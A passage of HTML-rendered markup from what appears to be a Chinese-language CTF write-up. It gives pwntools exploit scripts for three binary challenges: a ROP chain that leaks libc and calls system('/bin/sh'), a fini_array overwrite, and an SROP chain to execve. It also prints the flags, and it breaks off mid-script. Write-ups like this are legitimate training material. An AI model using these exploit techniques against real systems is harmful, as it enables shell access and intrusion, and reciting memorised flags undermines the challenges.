&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;( v1[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;y&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;||&lt;&#x2F;span&gt;&lt;span&gt; v1[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Y&amp;#39; &lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    result &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;printstr(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Problem reported!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else
&lt;&#x2F;span&gt;&lt;span&gt;    result &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;printstr(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Problem ingored&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt; result;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;前面&lt;code&gt;calc&lt;&#x2F;code&gt;函数可以计算两个小于等于69的数的加减乘除，但是答案要是&lt;code&gt;65338&lt;&#x2F;code&gt;，可以输入负数绕过。ROP先通过输出GOT表泄露glibc的地址，然后调用system函数。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;typing &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;Union
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.rop &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.context &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;context.log_level&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;debug&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;True
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;: Union[remote, process], &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;elf&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;ELF&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Insert the amount of 2 different types of recources:&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;0 -65338&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;2&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    rop1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;ROP(elf)
&lt;&#x2F;span&gt;&lt;span&gt;    rop1.puts(elf.got[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;puts&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;])
&lt;&#x2F;span&gt;&lt;span&gt;    rop1.call(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;_start&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,flat({&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;40&lt;&#x2F;span&gt;&lt;span&gt;:rop1.chain()}))
&lt;&#x2F;span&gt;&lt;span&gt;    p.recvline()
&lt;&#x2F;span&gt;&lt;span&gt;    libc&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher().condition(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;puts&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,u64(p.recvline(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;False&lt;&#x2F;span&gt;&lt;span&gt;).ljust(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;))).elf()
&lt;&#x2F;span&gt;&lt;span&gt;    rop2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;ROP(libc)
&lt;&#x2F;span&gt;&lt;span&gt;    rop2.raw(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x4010FD&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    rop2.system(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;(libc.search(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)))
&lt;&#x2F;span&gt;&lt;span&gt;    p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Insert the amount of 2 different types of recources:&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;0 -65338&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;2&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,flat({&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;40&lt;&#x2F;span&gt;&lt;span&gt;:rop2.chain()}))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;__name__ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;__main__&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    elf_path&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&#x2F;controller&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;    context.binary &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;elf_path
&lt;&#x2F;span&gt;&lt;span&gt;    elf&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;ELF(elf_path)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;remote(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;178.62.77.109&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;32598&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;process(elf_path)
&lt;&#x2F;span&gt;&lt;span&gt;    main(p,elf)
&lt;&#x2F;span&gt;&lt;span&gt;    p.interactive()
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# CHTB{1nt3g3r_0v3rfl0w_s4v3d_0ur_r3s0urc3s}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;minefield&quot;&gt;Minefield&lt;&#x2F;h2&gt;
&lt;p&gt;程序有一个任意地址写，但是写完之后就直接退出了，没有调用其它函数。但是注意到&lt;code&gt;fini_array&lt;&#x2F;code&gt;段可写并且 程序存在后门函数，因此直接覆盖&lt;code&gt;fini_array&lt;&#x2F;code&gt;的值为后门函数地址即可。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;typing &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;Union
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;context.log_level&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;debug&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;True
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;: Union[remote, process], &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;elf&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;ELF&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;2&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    ida.attachAndContinue()
&lt;&#x2F;span&gt;&lt;span&gt;    p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;: &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x601078&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;    p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;: &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(elf.sym[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;_&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;__name__ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;__main__&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    elf_path&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&#x2F;minefield&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;    context.binary &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;elf_path
&lt;&#x2F;span&gt;&lt;span&gt;    elf&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;ELF(elf_path)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;remote(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;178.62.77.109&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;32598&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;process(elf_path)
&lt;&#x2F;span&gt;&lt;span&gt;    main(p,elf)
&lt;&#x2F;span&gt;&lt;span&gt;    p.interactive()
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# CHTB{d3struct0r5_m1n3f13ld}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;system-drop&quot;&gt;System dROP&lt;&#x2F;h2&gt;
&lt;p&gt;栈溢出，但是没有输出的函数，可以通过&lt;code&gt;syscall;ret;&lt;&#x2F;code&gt;片段进行系统调用。利用&lt;code&gt;SROP&lt;&#x2F;code&gt;构造除符合条件的寄存器状态，进行调用。&lt;&#x2F;p&gt;
&lt;p&gt;基本思路: 栈转移-&amp;gt;写入&lt;code&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;code&gt;以及&lt;code&gt;SigreturnFrame&lt;&#x2F;code&gt;-&amp;gt;读入15个字符使得rax为15-&amp;gt;&lt;code&gt;syscall&lt;&#x2F;code&gt;-&amp;gt;&lt;code&gt;syscall&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;typing &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;Union
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;IdaManage &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.rop &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.context &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.fmtstr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.util.packing &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;context.log_level&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;debug&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;True
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;: Union[remote, process], &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;elf&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;ELF&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    read_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x400553
&lt;&#x2F;span&gt;&lt;span&gt;    syscall&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x40053B
&lt;&#x2F;span&gt;&lt;span&gt;    write_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x601028
&lt;&#x2F;span&gt;&lt;span&gt;    sigframe &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;SigreturnFrame()
&lt;&#x2F;span&gt;&lt;span&gt;    sigframe.rax &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;constants.SYS_execve
&lt;&#x2F;span&gt;&lt;span&gt;    sigframe.rdi &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;write_addr
&lt;&#x2F;span&gt;&lt;span&gt;    sigframe.rsi &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0
&lt;&#x2F;span&gt;&lt;span&gt;    sigframe.rdx &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0
&lt;&#x2F;span&gt;&lt;span&gt;    sigframe.rsp &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;write_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x30
&lt;&#x2F;span&gt;&lt;span&gt;    sigframe.rip &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;syscall
&lt;&#x2F;span&gt;&lt;span&gt;    ida.attachAndContinue()
&lt;&#x2F;span&gt;&lt;span&gt;    p.send(flat({&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;32&lt;&#x2F;span&gt;&lt;span&gt;:[
&lt;&#x2F;span&gt;&lt;span&gt;        write_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x20&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        read_,
&lt;&#x2F;span&gt;&lt;span&gt;        write_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x20&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    ]}))
&lt;&#x2F;span&gt;&lt;span&gt;    sleep(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    p.send(flat({&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;32&lt;&#x2F;span&gt;&lt;span&gt;:[
&lt;&#x2F;span&gt;&lt;span&gt;        write_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x20&lt;&#x2F;span&gt;&lt;span&gt;,
